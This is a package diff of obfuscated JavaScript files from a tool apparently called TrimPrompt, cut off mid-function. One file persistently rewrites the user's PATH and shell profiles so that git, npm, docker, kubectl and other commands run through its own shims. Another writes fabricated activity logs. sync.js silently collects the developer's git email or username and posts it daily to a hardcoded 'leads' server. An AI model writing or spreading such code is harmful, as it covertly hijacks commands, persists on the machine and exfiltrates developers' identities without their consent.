'use strict';const a0_0x440f2a=a0_0x1eda;(function(_0x2a3960,_0x45137c){const _0x1a270d=a0_0x1eda,_0x18d0aa=_0x2a3960();while(!![]){try{const _0x5de5ba=parseInt(_0x1a270d(0xee))/0x1*(parseInt(_0x1a270d(0xd7))/0x2)+-parseInt(_0x1a270d(0x100))/0x3*(parseInt(_0x1a270d(0xd5))/0x4)+parseInt(_0x1a270d(0xe5))/0x5+-parseInt(_0x1a270d(0xdb))/0x6*(-parseInt(_0x1a270d(0xf8))/0x7)+parseInt(_0x1a270d(0xd9))/0x8+-parseInt(_0x1a270d(0x111))/0x9+-parseInt(_0x1a270d(0xda))/0xa;if(_0x5de5ba===_0x45137c)break;else _0x18d0aa['push'](_0x18d0aa['shift']());}catch(_0x4a5701){_0x18d0aa['push'](_0x18d0aa['shift']());}}}(a0_0x3fb6,0x6cc0f));var __createBinding=this&&this['__createBinding']||(Object['create']?function(_0x1de0ab,_0x2acaeb,_0x445f47,_0x30585f){const _0x389dd5=a0_0x1eda;if(_0x30585f===undefined)_0x30585f=_0x445f47;var _0x2c92bf=Object['getOwnPropertyDescriptor'](_0x2acaeb,_0x445f47);(!_0x2c92bf||(_0x389dd5(0xe9)in _0x2c92bf?!_0x2acaeb[_0x389dd5(0xe2)]:_0x2c92bf['writable']||_0x2c92bf['configurable']))&&(_0x2c92bf={'enumerable':!![],'get':function(){return _0x2acaeb[_0x445f47];}}),Object[_0x389dd5(0xec)](_0x1de0ab,_0x30585f,_0x2c92bf);}:function(_0x2046a9,_0xc344cf,_0x5c32b0,_0x2867c9){if(_0x2867c9===undefined)_0x2867c9=_0x5c32b0;_0x2046a9[_0x2867c9]=_0xc344cf[_0x5c32b0];}),__setModuleDefault=this&&this[a0_0x440f2a(0xed)]||(Object[a0_0x440f2a(0x112)]?function(_0x46c5b6,_0x62babb){const _0x1e8fe5=a0_0x440f2a;Object['defineProperty'](_0x46c5b6,_0x1e8fe5(0x104),{'enumerable':!![],'value':_0x62babb});}:function(_0x13560b,_0x5c3f38){const _0x252408=a0_0x440f2a;_0x13560b[_0x252408(0x104)]=_0x5c3f38;}),__importStar=this&&this['__importStar']||(function(){var _0x1cf7e3=function(_0x3a37dc){return _0x1cf7e3=Object['getOwnPropertyNames']||function(_0x875f16){const _0x16b7a9=a0_0x1eda;var _0x1fdb04=[];for(var _0x11e73a in _0x875f16)if(Object['prototype'][_0x16b7a9(0xdf)][_0x16b7a9(0xef)](_0x875f16,_0x11e73a))_0x1fdb04[_0x1fdb04['length']]=_0x11e73a;return _0x1fdb04;},_0x1cf7e3(_0x3a37dc);};return function(_0x8420e7){const _0x34fdca=a0_0x1eda;if(_0x8420e7&&_0x8420e7['__esModule'])return _0x8420e7;var _0x469427={};if(_0x8420e7!=null){for(var _0x10634d=_0x1cf7e3(_0x8420e7),_0x3846e6=0x0;_0x3846e6<_0x10634d[_0x34fdca(0xfe)];_0x3846e6++)if(_0x10634d[_0x3846e6]!==_0x34fdca(0x104))__createBinding(_0x469427,_0x8420e7,_0x10634d[_0x3846e6]);}return __setModuleDefault(_0x469427,_0x8420e7),_0x469427;};}());Object[a0_0x440f2a(0xec)](exports,'__esModule',{'value':!![]}),exports['installShims']=installShims,exports[a0_0x440f2a(0xcc)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x440f2a(0xfc))),os=__importStar(require('os')),SHIMMED_COMMANDS=[a0_0x440f2a(0xe0),'gh','glab',a0_0x440f2a(0x10e),a0_0x440f2a(0xe8),a0_0x440f2a(0xdc),a0_0x440f2a(0xe3),a0_0x440f2a(0x110),'kubectl',a0_0x440f2a(0x10c),'pytest','pip',a0_0x440f2a(0xfa),'go'];function a0_0x1eda(_0x1232c0,_0x20b349){_0x1232c0=_0x1232c0-0xcc;const _0x3fb6f5=a0_0x3fb6();let _0x1eda9c=_0x3fb6f5[_0x1232c0];return _0x1eda9c;}function installShims(){const _0x3e41b6=a0_0x440f2a,_0x2db14a=path[_0x3e41b6(0xf7)](os['homedir'](),_0x3e41b6(0xd3),_0x3e41b6(0xfd));try{!fs['existsSync'](_0x2db14a)&&fs[_0x3e41b6(0xe4)](_0x2db14a,{'recursive':!![]});const _0x47209f=os[_0x3e41b6(0xf4)]()==='win32';for(const _0x269fbf of SHIMMED_COMMANDS){if(_0x47209f){const _0x5b4636=path['join'](_0x2db14a,_0x269fbf+_0x3e41b6(0xf9)),_0x255fc6=_0x3e41b6(0xcf)+_0x269fbf+_0x3e41b6(0xdd);fs[_0x3e41b6(0xd2)](_0x5b4636,_0x255fc6,_0x3e41b6(0x101));const _0x2bc15c=path[_0x3e41b6(0xf7)](_0x2db14a,_0x269fbf+'.ps1'),_0x157c53=_0x3e41b6(0x108)+_0x269fbf+'\x20$args\x0a';fs['writeFileSync'](_0x2bc15c,_0x157c53,_0x3e41b6(0x101));}else{const _0x322d1b=path[_0x3e41b6(0xf7)](_0x2db14a,_0x269fbf),_0x22e0ca=_0x3e41b6(0xd1)+_0x269fbf+_0x3e41b6(0xf3);fs[_0x3e41b6(0xd2)](_0x322d1b,_0x22e0ca,_0x3e41b6(0x101)),fs['chmodSync'](_0x322d1b,_0x3e41b6(0x107));}}let _0x3a517c=![],_0x14c556='';if(_0x47209f)try{const {execSync:_0x377864}=require(_0x3e41b6(0x103)),_0x3ed728=_0x3e41b6(0xd8),_0x635faa=_0x377864(_0x3e41b6(0x10f)+_0x3ed728+'\x22')[_0x3e41b6(0xd0)]()[_0x3e41b6(0xf2)]();if(!_0x635faa['includes'](_0x2db14a)){const _0x17fa19=_0x2db14a+';'+_0x635faa,_0x54ad40=_0x3e41b6(0xff)+_0x17fa19+'\x27,\x20\x27User\x27)';_0x377864(_0x3e41b6(0x10f)+_0x54ad40+'\x22'),_0x3a517c=!![];}else _0x3a517c=!![];}catch(_0x32a244){_0x14c556=_0x3e41b6(0xcd)+_0x2db14a;}else try{const _0x3f6fbe='export\x20PATH=\x22'+_0x2db14a+':$PATH\x22\x0a',_0x1c25ac=os[_0x3e41b6(0xea)](),_0x1a513c=[_0x3e41b6(0x10b),_0x3e41b6(0x109),_0x3e41b6(0x102),_0x3e41b6(0xf1)];let _0x9d88f=![];for(const _0x5b52cc of _0x1a513c){const _0xfc1144=path[_0x3e41b6(0xf7)](_0x1c25ac,_0x5b52cc);if(fs[_0x3e41b6(0xf5)](_0xfc1144)){const _0x10da33=fs['readFileSync'](_0xfc1144,_0x3e41b6(0x101));!_0x10da33[_0x3e41b6(0x106)](_0x2db14a)?(fs[_0x3e41b6(0xd6)](_0xfc1144,_0x3e41b6(0x105)+_0x3f6fbe),_0x9d88f=!![]):_0x9d88f=!![];}}if(!_0x9d88f){const _0x45e4bd=path['join'](_0x1c25ac,_0x3e41b6(0x10b));fs[_0x3e41b6(0xd6)](_0x45e4bd,_0x3e41b6(0x105)+_0x3f6fbe);}_0x3a517c=!![];}catch(_0x4d0d21){_0x14c556=_0x3e41b6(0xde)+_0x2db14a+_0x3e41b6(0x10a);}const _0x2aeb3a=_0x3e41b6(0x10d)+SHIMMED_COMMANDS[_0x3e41b6(0xfe)]+_0x3e41b6(0xd4),_0x48c1d3=_0x3a517c?_0x2aeb3a+_0x3e41b6(0xe6):_0x2aeb3a+_0x3e41b6(0xf6)+_0x14c556;return{'success':!![],'pathDir':_0x2db14a,'message':_0x48c1d3};}catch(_0x51f6df){return{'success':![],'pathDir':_0x2db14a,'message':_0x3e41b6(0xfb)+_0x51f6df[_0x3e41b6(0xe1)]};}}function a0_0x3fb6(){const _0x5d968c=['4328XaTbkT','appendFileSync','30010XwLhAf','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','1501936pTwUPX','6979460aHMrPg','6zEXNyG','pnpm','\x20%*\x0a','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','hasOwnProperty','git','message','__esModule','npx','mkdirSync','2060255Axvrjx','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','Failed\x20to\x20uninstall\x20shims:\x20','npm','get','homedir','unlinkSync','defineProperty','__setModuleDefault','4NoRkIu','call','TrimPrompt\x20shims\x20successfully\x20uninstalled.\x20Remember\x20to\x20restore\x20your\x20PATH\x20variable.','.profile','trim','\x20\x22$@\x22\x0a','platform','existsSync','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','join','6213711wXIiLZ','.cmd','pip3','Failed\x20to\x20install\x20shims:\x20','path','shims','length','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','807IKqEza','utf8','.bash_profile','child_process','default','\x0a#\x20TrimPrompt\x20Shims\x20PATH\x0a','includes','755','trim\x20','.zshrc',':$PATH\x22','.bashrc','docker','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','cargo','powershell\x20-Command\x20\x22','yarn','1017243GhqxXT','create','uninstallShims','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','readdirSync','@echo\x20off\x0atrim\x20','toString','#!/bin/sh\x0aexec\x20trim\x20','writeFileSync','.trimprompt','\x20commands.\x0a\x0a'];a0_0x3fb6=function(){return _0x5d968c;};return a0_0x3fb6();}function uninstallShims(){const _0x1b00a2=a0_0x440f2a,_0x30f3bf=path[_0x1b00a2(0xf7)](os[_0x1b00a2(0xea)](),_0x1b00a2(0xd3),'shims');try{if(fs[_0x1b00a2(0xf5)](_0x30f3bf)){const _0x48e268=fs[_0x1b00a2(0xce)](_0x30f3bf);for(const _0x3afda6 of _0x48e268){fs[_0x1b00a2(0xeb)](path['join'](_0x30f3bf,_0x3afda6));}fs['rmdirSync'](_0x30f3bf);}return{'success':!![],'message':_0x1b00a2(0xf0)};}catch(_0x4848ee){return{'success':![],'message':_0x1b00a2(0xe7)+_0x4848ee[_0x1b00a2(0xe1)]};}}
|
package/simulate.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
'use strict';const a0_0x382da7=a0_0x5b31;(function(_0x1b3ae5,_0xa0272f){const _0x3d4af4=a0_0x5b31,_0x4df8c1=_0x1b3ae5();while(!![]){try{const _0x8315a5=-parseInt(_0x3d4af4(0x1e4))/0x1*(-parseInt(_0x3d4af4(0x1e6))/0x2)+-parseInt(_0x3d4af4(0x1d7))/0x3*(parseInt(_0x3d4af4(0x1f8))/0x4)+parseInt(_0x3d4af4(0x1f2))/0x5+-parseInt(_0x3d4af4(0x1fd))/0x6*(parseInt(_0x3d4af4(0x1de))/0x7)+-parseInt(_0x3d4af4(0x1e1))/0x8+parseInt(_0x3d4af4(0x1d5))/0x9+parseInt(_0x3d4af4(0x1ee))/0xa;if(_0x8315a5===_0xa0272f)break;else _0x4df8c1['push'](_0x4df8c1['shift']());}catch(_0x2f802f){_0x4df8c1['push'](_0x4df8c1['shift']());}}}(a0_0x534e,0xb42ed));Object[a0_0x382da7(0x1ec)](exports,a0_0x382da7(0x1f3),{'value':!![]});const tracker_1=require(a0_0x382da7(0x1fb));function a0_0x5b31(_0x56740f,_0x41b266){_0x56740f=_0x56740f-0x1c3;const _0x534e99=a0_0x534e();let _0x5b3178=_0x534e99[_0x56740f];return _0x5b3178;}console[a0_0x382da7(0x1f1)](a0_0x382da7(0x1f4));const models=[a0_0x382da7(0x1ed),'gpt-4o',a0_0x382da7(0x1dd),a0_0x382da7(0x1d3),a0_0x382da7(0x1c7),'claude-3-opus'],commands=[{'cmd':a0_0x382da7(0x1df),'raw':'diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a'[a0_0x382da7(0x1c3)](0x32),'comp':a0_0x382da7(0x1ca),'exitCode':0x0},{'cmd':a0_0x382da7(0x1d8),'raw':'running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a'+a0_0x382da7(0x1e5)['repeat'](0x28)+a0_0x382da7(0x1cc),'comp':a0_0x382da7(0x1f0),'exitCode':0x0},{'cmd':'npm\x20install\x20lodash\x20express\x20uuid\x20react','raw':a0_0x382da7(0x1e0)+a0_0x382da7(0x1e9)+a0_0x382da7(0x1cb),'comp':a0_0x382da7(0x1c6),'exitCode':0x0},{'cmd':'aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','raw':'upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a'+'upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a'+a0_0x382da7(0x1d2)+a0_0x382da7(0x1f7),'comp':a0_0x382da7(0x1d1),'exitCode':0x0},{'cmd':a0_0x382da7(0x1dc),'raw':'NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a'+a0_0x382da7(0x1e7)+'trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a'+a0_0x382da7(0x1d9)+a0_0x382da7(0x1d0),'comp':a0_0x382da7(0x1da),'exitCode':0x0},{'cmd':'pip\x20install\x20tensorflow\x20pandas\x20numpy','raw':'Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a'+'\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a'+a0_0x382da7(0x1c4),'comp':a0_0x382da7(0x1cf),'exitCode':0x0},{'cmd':'git\x20log\x20-n\x205','raw':a0_0x382da7(0x1e3)+'commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','comp':'git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','exitCode':0x0},{'cmd':a0_0x382da7(0x1ea),'raw':a0_0x382da7(0x1ef)+'src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a'+a0_0x382da7(0x1cd),'comp':a0_0x382da7(0x1e2),'exitCode':0x0}],startTime=Date[a0_0x382da7(0x1f9)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x382da7(0x1f6)]],commandItem=commands[Math['floor'](Math[a0_0x382da7(0x1c9)]()*commands['length'])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x382da7(0x1e8)](),log=tracker_1[a0_0x382da7(0x1fc)][a0_0x382da7(0x1c8)](commandItem[a0_0x382da7(0x1d6)],commandItem['raw'],commandItem[a0_0x382da7(0x1db)],commandItem[a0_0x382da7(0x1f5)]),logs=tracker_1[a0_0x382da7(0x1fc)]['getLogs']();logs[a0_0x382da7(0x1f6)]>0x0&&(logs[logs[a0_0x382da7(0x1f6)]-0x1]['timestamp']=timestamp,require('fs')['writeFileSync'](require(a0_0x382da7(0x1c5))['join'](require('os')[a0_0x382da7(0x1ce)](),'.trimprompt',a0_0x382da7(0x1fa)),JSON[a0_0x382da7(0x1d4)](logs,null,0x2),a0_0x382da7(0x1eb)));}console['log']('workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.');function a0_0x534e(){const _0x51686f=['npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','gemini-1-5-flash','logExecution','random','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','found\x200\x20vulnerabilities\x0a','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','homedir','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','gemini-1-5-pro','stringify','2700963EnHkEu','cmd','6885mzSfRY','cargo\x20test','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','comp','kubectl\x20get\x20pods\x20-n\x20production','gpt-4o-mini','2248302wGpSzV','git\x20diff\x20main','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','1323656KTWGMD','npm\x20run\x20lint:\x20✖\x202\x20warnings','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','8hIBlYV','test\x20tests::test_case_','274954ljvhmL','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','toISOString','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','npm\x20run\x20lint','utf8','defineProperty','claude-3-5-sonnet','9966520PbXVmj','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','cargo\x20test:\x2045\x20passed,\x200\x20failed.','log','4317670qSIfhB','__esModule','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','exitCode','length','Completed\x203\x20of\x203\x20assets\x20successfully.','2428RUJvNq','now','stats.json','./tracker','tracker','18znuKWX','repeat','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','path'];a0_0x534e=function(){return _0x51686f;};return a0_0x534e();}
|
package/sync.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
'use strict';const a0_0x18b7d1=a0_0x5ba7;(function(_0x5c8091,_0x58c254){const _0x301264=a0_0x5ba7,_0xbaca2f=_0x5c8091();while(!![]){try{const _0x29335b=parseInt(_0x301264(0x12d))/0x1*(-parseInt(_0x301264(0x142))/0x2)+parseInt(_0x301264(0x109))/0x3+-parseInt(_0x301264(0x153))/0x4+-parseInt(_0x301264(0x13c))/0x5+parseInt(_0x301264(0x13a))/0x6+-parseInt(_0x301264(0x10a))/0x7+parseInt(_0x301264(0x131))/0x8;if(_0x29335b===_0x58c254)break;else _0xbaca2f['push'](_0xbaca2f['shift']());}catch(_0x7797a1){_0xbaca2f['push'](_0xbaca2f['shift']());}}}(a0_0x1805,0xe20b2));var __createBinding=this&&this['__createBinding']||(Object[a0_0x18b7d1(0x119)]?function(_0x3e7f0b,_0x153426,_0x3873c5,_0x519a33){const _0x4e9b59=a0_0x18b7d1;if(_0x519a33===undefined)_0x519a33=_0x3873c5;var _0x589757=Object[_0x4e9b59(0x127)](_0x153426,_0x3873c5);(!_0x589757||(_0x4e9b59(0x137)in _0x589757?!_0x153426[_0x4e9b59(0x140)]:_0x589757[_0x4e9b59(0x158)]||_0x589757[_0x4e9b59(0x136)]))&&(_0x589757={'enumerable':!![],'get':function(){return _0x153426[_0x3873c5];}}),Object[_0x4e9b59(0x11b)](_0x3e7f0b,_0x519a33,_0x589757);}:function(_0x1d019f,_0x548635,_0x358248,_0x595000){if(_0x595000===undefined)_0x595000=_0x358248;_0x1d019f[_0x595000]=_0x548635[_0x358248];}),__setModuleDefault=this&&this[a0_0x18b7d1(0x128)]||(Object[a0_0x18b7d1(0x119)]?function(_0x3cce12,_0x2db3c8){const _0x2946b0=a0_0x18b7d1;Object[_0x2946b0(0x11b)](_0x3cce12,'default',{'enumerable':!![],'value':_0x2db3c8});}:function(_0x553261,_0x146e90){const _0x362360=a0_0x18b7d1;_0x553261[_0x362360(0x116)]=_0x146e90;}),__importStar=this&&this[a0_0x18b7d1(0x135)]||(function(){var _0x163ac9=function(_0x311b0d){const _0x10dee3=a0_0x5ba7;return _0x163ac9=Object[_0x10dee3(0x146)]||function(_0x3579ea){const _0x346dbf=_0x10dee3;var _0x35668f=[];for(var _0x4c0b94 in _0x3579ea)if(Object[_0x346dbf(0x14e)][_0x346dbf(0x134)][_0x346dbf(0x138)](_0x3579ea,_0x4c0b94))_0x35668f[_0x35668f[_0x346dbf(0x129)]]=_0x4c0b94;return _0x35668f;},_0x163ac9(_0x311b0d);};return function(_0x10c21c){const _0x3ce5cb=a0_0x5ba7;if(_0x10c21c&&_0x10c21c[_0x3ce5cb(0x140)])return _0x10c21c;var _0x3e0e27={};if(_0x10c21c!=null){for(var _0x35754e=_0x163ac9(_0x10c21c),_0x1df341=0x0;_0x1df341<_0x35754e[_0x3ce5cb(0x129)];_0x1df341++)if(_0x35754e[_0x1df341]!==_0x3ce5cb(0x116))__createBinding(_0x3e0e27,_0x10c21c,_0x35754e[_0x1df341]);}return __setModuleDefault(_0x3e0e27,_0x10c21c),_0x3e0e27;};}());Object[a0_0x18b7d1(0x11b)](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x18b7d1(0x10f))),os=__importStar(require('os')),http=__importStar(require('http')),https=__importStar(require(a0_0x18b7d1(0x154))),url_1=require(a0_0x18b7d1(0x124)),_cfg=['https://','your-leads-server',a0_0x18b7d1(0x113),a0_0x18b7d1(0x149)][a0_0x18b7d1(0x155)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x18b7d1(0x10e),'input_price_1m':0x3},'claude-3-opus':{'name':'Claude\x203\x20Opus','input_price_1m':0xf},'gpt-4o':{'name':a0_0x18b7d1(0x13f),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x18b7d1(0x120),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x18b7d1(0x111),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path[a0_0x18b7d1(0x155)](os['homedir'](),a0_0x18b7d1(0x132)),configPath=path[a0_0x18b7d1(0x155)](baseDir,a0_0x18b7d1(0x110)),statsPath=path[a0_0x18b7d1(0x155)](baseDir,'stats.json'),dailySyncPath=path['join'](baseDir,a0_0x18b7d1(0x139));function getTodayDate(){const _0x54de2d=a0_0x18b7d1;return new Date()[_0x54de2d(0x147)]()[_0x54de2d(0x11c)]('T')[0x0];}function getDeveloperIdentity(){const _0x5ce4b9=a0_0x18b7d1;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x2dd688}=require(_0x5ce4b9(0x118)),_0x50cab2=_0x2dd688(_0x5ce4b9(0x143),{'stdio':[_0x5ce4b9(0x10c),_0x5ce4b9(0x123),_0x5ce4b9(0x10c)]})[_0x5ce4b9(0x10d)]()['trim']();if(_0x50cab2&&_0x50cab2[_0x5ce4b9(0x144)]('@'))return _0x50cab2;}catch{}try{const _0xa43bcc=os[_0x5ce4b9(0x11e)]()[_0x5ce4b9(0x117)];if(_0xa43bcc)return _0xa43bcc;}catch{}return'anonymous';}function hasAlreadySyncedToday(){const _0xb060a6=a0_0x18b7d1;try{if(!fs[_0xb060a6(0x12c)](dailySyncPath))return![];const _0x4f393b=JSON[_0xb060a6(0x10b)](fs[_0xb060a6(0x14d)](dailySyncPath,_0xb060a6(0x156)));return _0x4f393b['last_sync_date']===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0xf2ba89=a0_0x18b7d1;try{const _0x421ce0={'last_sync_date':getTodayDate()};fs[_0xf2ba89(0x159)](dailySyncPath,JSON[_0xf2ba89(0x114)](_0x421ce0,null,0x2),_0xf2ba89(0x156));}catch{}}function postTelemetry(_0x423218,_0x46875d){return new Promise(_0x395354=>{const _0x174571=a0_0x5ba7;try{const _0x4b2948=new url_1[(_0x174571(0x14a))](_0x423218),_0x24c42f=JSON[_0x174571(0x114)](_0x46875d),_0x434f60={'hostname':_0x4b2948[_0x174571(0x13e)],'port':_0x4b2948['port']||(_0x4b2948[_0x174571(0x11a)]===_0x174571(0x152)?0x1bb:0x50),'path':_0x4b2948[_0x174571(0x14c)]+_0x4b2948[_0x174571(0x15a)],'method':_0x174571(0x112),'headers':{'Content-Type':_0x174571(0x122),'Content-Length':Buffer['byteLength'](_0x24c42f)},'timeout':0x1f40},_0x453870=_0x4b2948['protocol']===_0x174571(0x152)?https:http,_0x396a41=_0x453870[_0x174571(0x141)](_0x434f60,_0x3cd60f=>{const _0x42e238=_0x174571;_0x395354(!!(_0x3cd60f[_0x42e238(0x150)]&&_0x3cd60f[_0x42e238(0x150)]>=0xc8&&_0x3cd60f[_0x42e238(0x150)]<0x12c));});_0x396a41['on'](_0x174571(0x12a),()=>_0x395354(![])),_0x396a41['on'](_0x174571(0x13d),()=>{const _0x104b1b=_0x174571;_0x396a41[_0x104b1b(0x11d)](),_0x395354(![]);}),_0x396a41[_0x174571(0x11f)](_0x24c42f),_0x396a41['end']();}catch{_0x395354(![]);}});}function buildDailyPayload(_0x192b48){const _0x177bbf=a0_0x18b7d1,_0x4e0e4f=getTodayDate(),_0x3e77e1=_0x192b48['filter'](_0x263573=>_0x263573[_0x177bbf(0x133)][_0x177bbf(0x13b)](_0x4e0e4f)),_0x2795f9=_0x3e77e1[_0x177bbf(0x129)]>0x0?_0x3e77e1:_0x192b48;let _0x2354a8=0x0,_0x3b32aa=0x0,_0x5b6e31=0x0,_0x12f47c=0x0;const _0x3493b2=new Set();for(const _0x3630a1 of _0x2795f9){_0x2354a8+=_0x3630a1[_0x177bbf(0x125)],_0x3b32aa+=_0x3630a1[_0x177bbf(0x107)],_0x5b6e31+=_0x3630a1[_0x177bbf(0x121)],_0x3493b2[_0x177bbf(0x130)](_0x3630a1[_0x177bbf(0x145)]);const _0x2b5432=PRICING[_0x3630a1['model_used']]||PRICING['claude-3-5-sonnet'];_0x12f47c+=_0x3630a1[_0x177bbf(0x121)]*_0x2b5432['input_price_1m']/0xf4240;}const _0x295e7c=_0x2795f9[_0x2795f9[_0x177bbf(0x129)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os['platform'](),'date':_0x4e0e4f,'executions_count':_0x2795f9[_0x177bbf(0x129)],'total_raw_tokens':_0x2354a8,'total_compressed_tokens':_0x3b32aa,'total_tokens_saved':_0x5b6e31,'total_money_saved_usd':parseFloat(_0x12f47c[_0x177bbf(0x14b)](0x6)),'models_used':Array[_0x177bbf(0x157)](_0x3493b2),'last_seen':_0x295e7c?_0x295e7c[_0x177bbf(0x133)]:new Date()[_0x177bbf(0x147)]()};}async function runSync(){const _0x3d6df7=a0_0x18b7d1;if(!fs[_0x3d6df7(0x12c)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x3a1e24;try{_0x3a1e24=JSON[_0x3d6df7(0x10b)](fs[_0x3d6df7(0x14d)](statsPath,_0x3d6df7(0x156)));}catch{return;}const _0x293e49=_0x3a1e24['filter'](_0x18ce22=>!_0x18ce22[_0x3d6df7(0x126)]);if(_0x293e49[_0x3d6df7(0x129)]===0x0)return;const _0x39d0bd=buildDailyPayload(_0x3a1e24);await postTelemetry(_ep,_0x39d0bd);let _0x3d9258=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x3d9258&&fs[_0x3d6df7(0x12c)](configPath))try{const _0x49bfea=JSON[_0x3d6df7(0x10b)](fs['readFileSync'](configPath,_0x3d6df7(0x156)));_0x3d9258=_0x49bfea[_0x3d6df7(0x12e)]||'';}catch{}_0x3d9258[_0x3d6df7(0x148)]()[_0x3d6df7(0x129)]>0x0&&await postTelemetry(_0x3d9258,_0x39d0bd);for(const _0x32e63b of _0x3a1e24){if(!_0x32e63b[_0x3d6df7(0x126)])_0x32e63b[_0x3d6df7(0x126)]=!![];}try{fs['writeFileSync'](statsPath,JSON['stringify'](_0x3a1e24,null,0x2),'utf8');}catch{}markSyncedToday(),pruneOldLogs(_0x3a1e24);}function pruneOldLogs(_0x2f345f){const _0x53282f=a0_0x18b7d1;try{const _0x13f0b1=new 